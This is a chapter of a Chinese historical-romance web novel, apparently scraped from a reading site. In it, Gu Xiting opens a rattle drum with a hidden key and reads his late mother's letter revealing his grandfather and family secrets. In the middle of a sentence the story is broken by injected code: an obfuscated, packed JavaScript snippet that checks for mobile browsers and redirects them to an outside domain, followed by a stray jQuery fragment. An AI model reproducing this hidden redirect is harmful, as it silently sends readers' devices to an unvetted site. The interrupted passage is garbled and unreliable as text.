默认冷灰
24号文字
方正启体

19. 尘封之钥

作者:北风之北本书字数:K更新时间:
    暮色四合,夕阳的最后一抹余晖将顾府院落染成温暖的橘色。


    书房内,烛火尚未点燃,顾溪亭独自站在窗边。


    急促的脚步声传来,顾溪亭闻声侧头,这个时辰会是谁呢?他转身走向书案,顺手点亮了案头的烛台。


    门被推开,许暮的身影出现在门口。


    “茶仙造访,可是有何仙谕示下?”顾溪亭刻意拖长了仙谕二字,尾音微微上扬,带着一丝戏谑的调侃。


    许暮早已习惯了他这种说话方式,此刻有要紧事找他,也懒得计较。


    许暮难得没有还击顾溪亭的调侃,目光扫过对方带着笑意的脸,开门见山:“许家茶园大火之后,我和小诺的所有东西,除了烧成灰的,其余都还在吗?”


    顾溪亭脸上的那抹戏谑笑意,在听到“许家茶园大火”这几个字的瞬间骤然消失。


    “你问这个做什么?”顾溪亭紧盯着许暮的眼睛,“是不是……”


    许暮点了点头:“小诺今天跟我说起,娘亲给我们留了一个拨浪鼓。”


    “拨浪鼓?”


    “那不是普通的拨浪鼓,小诺说,那是娘特意找人做的,做工非常精巧,鼓把不是粘死的,可以拧开!”


    一个做工精巧、鼓把可以拧开的拨浪鼓,确实非寻常玩具。


    “顾意!”顾溪亭的声音穿透书房的门板,“将丙辰七证物箱,即刻送到书房!”


    “是!”


    “所有未被焚毁的东西都被封存起来了,就是怕遗漏了任何一丝可能的线索。”顾溪亭深吸一口气,“但我确实没把注意力放在这种玩物上。”


    等待的时间仿佛被无限拉长,书房里只剩下烛火燃烧的声音和两人之间无声的气息。


    顾溪亭在案边寻到本书来看,但指节却因用力而泛白。


    许暮不忍看他,走到窗边看着窗外越来越深的夜色。


    不多时,门外再次响起脚步声。


    顾意捧着一个半旧的箱子进来,上面用红漆写着醒目的“丙辰七”,他将箱子轻轻放在书案上。


    顾溪亭的目光如同焊在了那个箱子上,许暮也走了过来,心也跟着提了起来。


    顾溪亭在杂物中翻捡着,指尖带着不易察觉的微颤。


    突然,顾溪亭的动作停住了,他缓缓从箱子里拿出了一个拨浪鼓。


    许暮也凑上来仔细辨认:“跟小诺描述的那个很像,而且寻常拨浪鼓在那样的大火里,应该早就变成灰了。”


    顾溪亭将拨浪鼓仔细看了个遍,沉默片刻,忽然站起身,走到书房内嵌墙壁的书架旁。


    在书架侧面某个不起眼的雕花处按了几下,只听一声极轻微的机括声响,一块暗格弹开。


    他从里面取出一个被素色锦帕仔细包裹的物件——正是那日他从许暮手中强行夺下的那把钥匙。


    顾溪亭的目光在钥匙和拨浪鼓之间来回逡巡,最终将钥匙的尖端,插入了拨浪鼓鼓身侧面一个极其隐蔽细小孔洞之中。


    咔哒一声脆响,在死寂的书房里格外清晰!


    那原本浑然一体的鼓面,竟如精巧的匣盖般,无声地向一侧滑开。


    里面静静躺着一方折叠得异常整齐的丝帛。


    顾溪亭屏住了呼吸,指尖带着难以抑制的微颤,小心翼翼地将丝帛取了出来。


    许暮站在一旁,清晰地感受到他的身体在剧烈地震动。


    顾溪亭近乎贪婪地看着上面的每个字,时间流淌,书房里的空气仿佛凝固了。


    「溪亭吾儿,不知你读到这封信时,年岁几何?是否已长成顶天立地的男儿?娘亲不求你显赫富贵,只愿你平安喜乐,莫因自己的身世和仇恨,成他人手中刀……」


    许久,顾溪亭才缓缓抬起头,那双眼睛蒙上了一层罕见的泪光。


    他看向许暮,眼神复杂,将东西递到他手中:“是我娘的遗书。”


    许暮犹豫着接过来仔细阅读。


    信件开头的内容,充斥着一个母亲最纯粹的挂念和不舍。


    后面的内容,才是顾溪亭的身世。


    信中对顾溪亭外婆顾令纾和舅舅顾停云的描述,与钱秉坤所言一致,也印证了顾停云的死因确有蹊跷。


    “信上提到了你的外公……萧屹川?”


    “萧屹川?!”听到这三个字,旁边一直默默等待的顾意突然震惊起来。


    “你认识?”


    “当朝柱石,威名赫赫的老将军萧屹川,没有他就没有我朝边境的安宁。”


    许暮长大嘴巴,惊讶得有些说不出话来,这样的身世背景,若他的家人都在,顾溪亭又何须成为皇帝的爪牙才能生存下来。


    但是这位老将军既然还在世,又怎么会让顾家一朝倾覆呢。


    许暮接着往下看,可真相又让他一时语塞。


    简言之,顾溪亭的外婆顾令纾,当年无意被婚姻束缚,却想有个血脉相连的孩子作伴,一直物色优秀的男人未果,直到偶遇受伤的萧屹川。


    彼时他还未封将军,只是边军一员骁将,二人私定终身后有了身孕,萧屹川想要迎娶却遭无情拒绝,无意间得知自己被去父留子的真相,那份被至爱欺骗、尊严扫地的愤怒与绝望,让他愤然离去,远赴西北战场……十余年未归。


    当他功成名就归来时,顾家已遭剧变,顾清漪拒绝见这个素未谋面又迟来的父亲,无奈萧屹川只能派……许家夫妇暗中保护女儿?!


    许暮心头一震,抬头向顾溪亭望去,原来父母与顾家的渊源,竟是如此……难怪顾清漪把这么重要的东西交给了许家。


    顾溪亭迎上许暮的目光,便知道许暮看到什么内容了。


    “小时候你为了救我,重伤昏迷了三天三夜,醒来后便如同丢了魂魄一般,痴痴傻傻,再不复从前灵秀。”


    他直视着许暮的眼睛,一字一句清晰地复述着信中的嘱托:“她让我无论如何,要护你兄妹周全,以偿此恩。”


    许暮脑壳有点疼,到底哪个世界才是他的大梦初醒。


    但他来不及细想,因为这封遗书最后清楚地写到,鼓把里有顾家倾覆的关键线索,是顾溪亭父亲的身份……


    若顾溪亭不执着于弄清自己的身份,便不会四处寻找这份遗书,当他开始寻找,就势必会被仇恨冲垮,顾清漪千叮万嘱,就算他要复仇,也不要成为别人手里的刀。


    开启鼓面的钥匙还静静放在桌案之上,而更深层的秘密仍未揭开。顾溪亭再次拿起那把钥匙,尝试着将其对准了鼓把解封中央,没想到钥匙竟顺利进入,纹丝合缝。


    “顾溪亭!”许暮握住他的手,“你真的要打开吗?你还记得我之前跟你说的那场梦的结局吗!”


    “如此,亦无悔。”顾溪亭眼角猩红,注视着许暮握着自己的手,“处理完晏家的事,你和小诺就留在云沧好好生活,不要因为我们的相识受


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189210|181048||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到牵连……九焙司的人我会留下一半,至死守护你的安危。”


    “顾溪亭……你……”


    “许暮……谢谢你……”


    顾溪亭抬头泪如雨下,语气中带着对许暮的乞求,许暮被他这副模样揪得心脏紧紧的,颤抖着把手挪开。


    顾溪亭缓缓扭转钥匙,屋里的所有人都屏住了呼吸,但无论他如何尝试拧动,那鼓把的尾端竟都纹丝不动。


    他带着一丝难以置信的错愕反复尝试,钥匙与锁孔显然匹配,却无法开启鼓把。


    顾溪亭的声音里压抑着焦躁和更深的疑惧:“为什么?!为什么?!”


    他猛地抽出随身携带的玄铁扇,冰冷的扇骨带着破空之声,朝着那鼓把狠狠劈下。


    一下又一下,一下又一下,甚至擦出了火花。


    “顾溪亭!”许暮拉住顾溪亭的胳膊,带着一丝急促的制止。


    顾溪亭的动作猛然停住。


    “她费尽心思分藏于此,就是怕你一时冲动,被仇恨蒙了心,你这样对得起她拖着病体仔细为你谋划生路吗?”


    顾溪亭握着玄铁扇的手背青筋暴起,他死死盯着那纹丝不动的鼓把,又低头看了一眼遗书上母亲的嘱托。


    “许暮……”


    他死死咬着牙,最终收回了玄铁扇,重重地坐回椅子上。


    烛火下,顾溪亭的脸色苍白如纸,眼神中交织着痛苦迷茫与不甘,还有一种更深沉的疲惫。


    顾溪亭只是被强行顺毛安抚住,还未恢复往日的冷静,相反,许暮的思路却异常清晰。


    之前在钱秉坤那,顾溪亭提到他收了两封密信,想必其中一封真实的就是萧屹川给顾溪亭的,也是他跟顾溪亭说了钥匙的事情。


    那送出另一封的人,就是真想置顾溪亭于万劫不复之地。


    若自己和小诺死在那场大火里,那顾溪亭确实永远都无法知道真相,最终在被两封密信上的内容拉扯间,走向深渊。


    他说自己是变数,恐怕还真是如此。


    顾溪亭呆呆地坐在椅子上,手里攥着那封书信。


    许暮不知道如何安慰,便和顾意无声地退出了书房,轻轻掩上门。


    “许公子……”顾意的眉宇也笼着一层化不开的阴霾。


    许暮没有接话,只是安静等他说出自己想说的话。


    “当年老侯爷从云沧接主子入都城,外人看来是件天大的喜事,能入公府,多少人求都求不来。”他顿了顿,嘴角扯出一丝极其苦涩的弧度,“可谁又能想到那富贵地,才是真正的寒冰炼狱。”


    顾意带着无奈接着道:“主子刚到不久,就染了一场重风寒,高烧不退人事不省,老侯爷不在府中,等公子好不容易捡回一条命,却忘了许多事情。”


    “而那些勋贵子弟自诩天潢贵胄,对主子尽是鄙夷轻蔑,暗地里骂他是老侯爷在外面的……野种。”


    顾意的声音像是从牙缝里挤出来一样。


    许暮静静地听着,每一个字都像带着刺一样,扎进他心里。


    一个少年,高烧濒死,忘事失魂,举目无亲,受尽唾弃……


    他回头望向门内,想起方才在书房里顾溪亭声音嘶哑地承诺让他留在云沧,还要护他周全。


    留在云沧?那他顾溪亭自己呢?去继续他那条如履薄冰的路吗?


    夜风似乎更凉了些,告别顾意,许暮重新推开了顾溪亭书房的门。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)